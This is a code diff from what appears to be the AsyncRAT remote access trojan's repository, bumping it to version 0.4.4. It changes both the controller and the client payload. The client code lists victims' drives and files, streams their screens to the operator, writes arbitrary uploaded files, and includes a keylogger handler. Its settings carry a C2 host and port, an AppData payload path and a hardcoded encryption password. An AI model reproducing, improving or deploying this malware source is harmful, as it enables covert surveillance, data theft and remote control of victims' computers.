|||||||
|
|
||||||
public System.Windows.Forms.PictureBox pictureBox1;
|
public System.Windows.Forms.PictureBox pictureBox1;
|
||||||
public System.Windows.Forms.Timer timer1;
|
public System.Windows.Forms.Timer timer1;
|
||||||
|
private System.Windows.Forms.Panel panel1;
|
||||||
|
private System.Windows.Forms.Label label1;
|
||||||
|
private System.Windows.Forms.Button button1;
|
||||||
|
private System.Windows.Forms.Button button2;
|
||||||
|
public System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -34,9 +34,61 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected || !C2.ClientSocket.Connected ) this.Close();
|
if (!C.ClientSocket.Connected) this.Close();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void Button2_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (panel1.Visible == false)
|
||||||
|
{
|
||||||
|
panel1.Visible = true;
|
||||||
|
button2.Top = panel1.Bottom + 5;
|
||||||
|
button2.BackgroundImage = Properties.Resources.arrow_up;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
panel1.Visible = false;
|
||||||
|
button2.Top = pictureBox1.Top + 5;
|
||||||
|
button2.BackgroundImage = Properties.Resources.arrow_down;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void FormRemoteDesktop_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
button2.Top = panel1.Bottom + 5;
|
||||||
|
button2.PerformClick();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (button1.Text == "START")
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
||||||
|
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||||
|
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
|
||||||
|
numericUpDown1.Enabled = false;
|
||||||
|
button1.Text = "STOP";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
button1.Text = "START";
|
||||||
|
numericUpDown1.Enabled = true;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
C2.ClientSocket.Dispose();
|
||||||
|
C2.Disconnected();
|
||||||
|
C2 = null;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
button2.Left = pictureBox1.Width / 2;
|
||||||
|
}
|
||||||
//private void RemoteDesktop_Activated(object sender, EventArgs e)
|
//private void RemoteDesktop_Activated(object sender, EventArgs e)
|
||||||
//{
|
//{
|
||||||
// //if (Active == false)
|
// //if (Active == false)
|
||||||
|
@ -5,6 +5,7 @@ using System;
|
|||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Handle_Packet
|
namespace AsyncRAT_Sharp.Handle_Packet
|
||||||
{
|
{
|
||||||
@ -144,7 +145,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
||||||
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
|
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
|
||||||
|
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
|
||||||
|
if (File.Exists(filename))
|
||||||
|
{
|
||||||
|
File.Delete(filename);
|
||||||
|
Thread.Sleep(500);
|
||||||
|
}
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
@ -7,7 +7,7 @@ using System.Drawing;
|
|||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Forms
|
namespace AsyncRAT_Sharp.Handle_Packet
|
||||||
{
|
{
|
||||||
class HandleKeylogger
|
class HandleKeylogger
|
||||||
{
|
{
|
@ -60,6 +60,26 @@ namespace AsyncRAT_Sharp.Properties {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap arrow_down {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("arrow_down", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Looks up a localized resource of type System.Drawing.Bitmap.
|
||||||
|
/// </summary>
|
||||||
|
internal static System.Drawing.Bitmap arrow_up {
|
||||||
|
get {
|
||||||
|
object obj = ResourceManager.GetObject("arrow_up", resourceCulture);
|
||||||
|
return ((System.Drawing.Bitmap)(obj));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8" ?>
|
/// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8" ?>
|
||||||
///<configuration>
|
///<configuration>
|
||||||
|
@ -118,6 +118,9 @@
|
|||||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
</resheader>
|
</resheader>
|
||||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||||
|
<data name="stop (1)" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
<data name="builder" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="builder" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
@ -136,8 +139,8 @@
|
|||||||
<data name="botkiller" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="botkiller" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
<data name="info" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="usb" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
<data name="circle-loading-gif" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="circle-loading-gif" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
@ -145,9 +148,6 @@
|
|||||||
<data name="filemanager" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="filemanager" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
<data name="usb" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
|
||||||
<value>..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
|
||||||
</data>
|
|
||||||
<data name="remotedesktop" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="remotedesktop" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
@ -157,6 +157,9 @@
|
|||||||
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
|
<data name="info" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
@ -178,7 +181,10 @@
|
|||||||
<data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
<data name="stop (1)" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
<data name="arrow_down" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
<value>..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
<value>..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
|
</data>
|
||||||
|
<data name="arrow_up" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||||
</data>
|
</data>
|
||||||
</root>
|
</root>
|
Binary file not shown.
@ -1,3 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<configuration>
|
|
||||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0,Profile=Client"/></startup></configuration>
|
|
BIN
AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png
Normal file
BIN
AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.1 KiB |
BIN
AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png
Normal file
BIN
AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.1 KiB |
@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
|
|||||||
public static string Password { get; set; }
|
public static string Password { get; set; }
|
||||||
public static Aes256 AES{ get; set; }
|
public static Aes256 AES{ get; set; }
|
||||||
|
|
||||||
public static readonly string Version = "AsyncRAT 0.4.3";
|
public static readonly string Version = "AsyncRAT 0.4.4";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -122,8 +122,17 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ClientMS?.Dispose();
|
if (ClientSocket.Connected)
|
||||||
|
{
|
||||||
|
ClientSocket.Shutdown(SocketShutdown.Both);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
ClientSocket?.Dispose();
|
ClientSocket?.Dispose();
|
||||||
|
ClientMS?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
@ -74,7 +74,7 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Compile Include="Cryptography\Aes256.cs" />
|
<Compile Include="Cryptography\Aes256.cs" />
|
||||||
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
||||||
<Compile Include="Handle Packet\FileManager.cs" />
|
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||||
<Compile Include="Handle Packet\HandleGetScreenShot.cs" />
|
<Compile Include="Handle Packet\HandleGetScreenShot.cs" />
|
||||||
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
||||||
<Compile Include="Handle Packet\Packet.cs" />
|
<Compile Include="Handle Packet\Packet.cs" />
|
||||||
|
@ -15,45 +15,53 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
public void GetDrivers()
|
public void GetDrivers()
|
||||||
{
|
{
|
||||||
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
try
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
|
||||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
|
||||||
StringBuilder sbDriver = new StringBuilder();
|
|
||||||
foreach (DriveInfo d in allDrives)
|
|
||||||
{
|
{
|
||||||
if (d.IsReady)
|
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||||
|
StringBuilder sbDriver = new StringBuilder();
|
||||||
|
foreach (DriveInfo d in allDrives)
|
||||||
{
|
{
|
||||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
if (d.IsReady)
|
||||||
|
{
|
||||||
|
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||||
|
}
|
||||||
|
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||||
|
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
}
|
}
|
||||||
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
public void GetPath(string path)
|
public void GetPath(string path)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
try
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
{
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
MsgPack msgpack = new MsgPack();
|
||||||
StringBuilder sbFolder = new StringBuilder();
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
StringBuilder sbFile = new StringBuilder();
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
|
StringBuilder sbFolder = new StringBuilder();
|
||||||
|
StringBuilder sbFile = new StringBuilder();
|
||||||
|
|
||||||
foreach (string folder in Directory.GetDirectories(path))
|
foreach (string folder in Directory.GetDirectories(path))
|
||||||
{
|
|
||||||
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
|
||||||
}
|
|
||||||
foreach (string file in Directory.GetFiles(path))
|
|
||||||
{
|
|
||||||
using (MemoryStream ms = new MemoryStream())
|
|
||||||
{
|
{
|
||||||
GetIcon(file).Save(ms, ImageFormat.Png);
|
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
||||||
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
|
|
||||||
}
|
}
|
||||||
|
foreach (string file in Directory.GetFiles(path))
|
||||||
|
{
|
||||||
|
using (MemoryStream ms = new MemoryStream())
|
||||||
|
{
|
||||||
|
GetIcon(file).Save(ms, ImageFormat.Png);
|
||||||
|
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||||
|
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||||
|
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
catch { }
|
||||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
|
||||||
ClientSocket.BeginSend(msgpack.Encode2Bytes());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Bitmap GetIcon(string file)
|
private Bitmap GetIcon(string file)
|
||||||
@ -62,14 +70,16 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
|
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
|
||||||
{
|
{
|
||||||
using (Image thumb = Image.FromFile(file).GetThumbnailImage(64, 64, () => false, IntPtr.Zero))
|
using (Bitmap myBitmap = new Bitmap(file))
|
||||||
{
|
{
|
||||||
return new Bitmap(thumb);
|
return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Icon icon = Icon.ExtractAssociatedIcon(file);
|
else
|
||||||
Bitmap bmpIcon = icon.ToBitmap();
|
using (Icon icon = Icon.ExtractAssociatedIcon(file))
|
||||||
return bmpIcon;
|
{
|
||||||
|
return icon.ToBitmap();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
@ -15,7 +15,7 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
public class HandleRemoteDesktop
|
public class HandleRemoteDesktop
|
||||||
{
|
{
|
||||||
public void CaptureAndSend()
|
public void CaptureAndSend(int quality)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -23,7 +23,7 @@ namespace Client.Handle_Packet
|
|||||||
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
||||||
|
|
||||||
string hwid = Methods.HWID();
|
string hwid = Methods.HWID();
|
||||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
|
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||||
while (Client.Connected)
|
while (Client.Connected)
|
||||||
{
|
{
|
||||||
if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break;
|
if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break;
|
||||||
|
@ -97,7 +97,7 @@ namespace Client.Handle_Packet
|
|||||||
//case "true":
|
//case "true":
|
||||||
// {
|
// {
|
||||||
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
|
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
|
||||||
remoteDesktop.CaptureAndSend();
|
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger));
|
||||||
break;
|
break;
|
||||||
// }
|
// }
|
||||||
}
|
}
|
||||||
@ -144,6 +144,11 @@ namespace Client.Handle_Packet
|
|||||||
case "uploadFile":
|
case "uploadFile":
|
||||||
{
|
{
|
||||||
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
|
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||||
|
if (File.Exists(fullPath))
|
||||||
|
{
|
||||||
|
File.Delete(fullPath);
|
||||||
|
Thread.Sleep(500);
|
||||||
|
}
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -8,13 +8,13 @@ namespace Client
|
|||||||
{
|
{
|
||||||
public static readonly string Ports = "6606";
|
public static readonly string Ports = "6606";
|
||||||
public static readonly string Host = "127.0.0.1";
|
public static readonly string Host = "127.0.0.1";
|
||||||
public static readonly string Version = "AsyncRAT 0.4.3";
|
public static readonly string Version = "AsyncRAT 0.4.4";
|
||||||
public static readonly string Install = "false";
|
public static readonly string Install = "false";
|
||||||
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
||||||
public static string Password = "NYAN CAT";
|
public static string Password = "NYAN CAT";
|
||||||
public static readonly Aes256 aes256 = new Aes256(Password);
|
public static readonly Aes256 aes256 = new Aes256(Password);
|
||||||
public static readonly string MTX = "%MTX%";
|
public static readonly string MTX = "%MTX%";
|
||||||
public static readonly string Anti = "%Anti%";
|
public static readonly string Anti = "%Anti%";
|
||||||
// public static readonly string Anti = "false";
|
//public static readonly string Anti = "false";
|
||||||
}
|
}
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user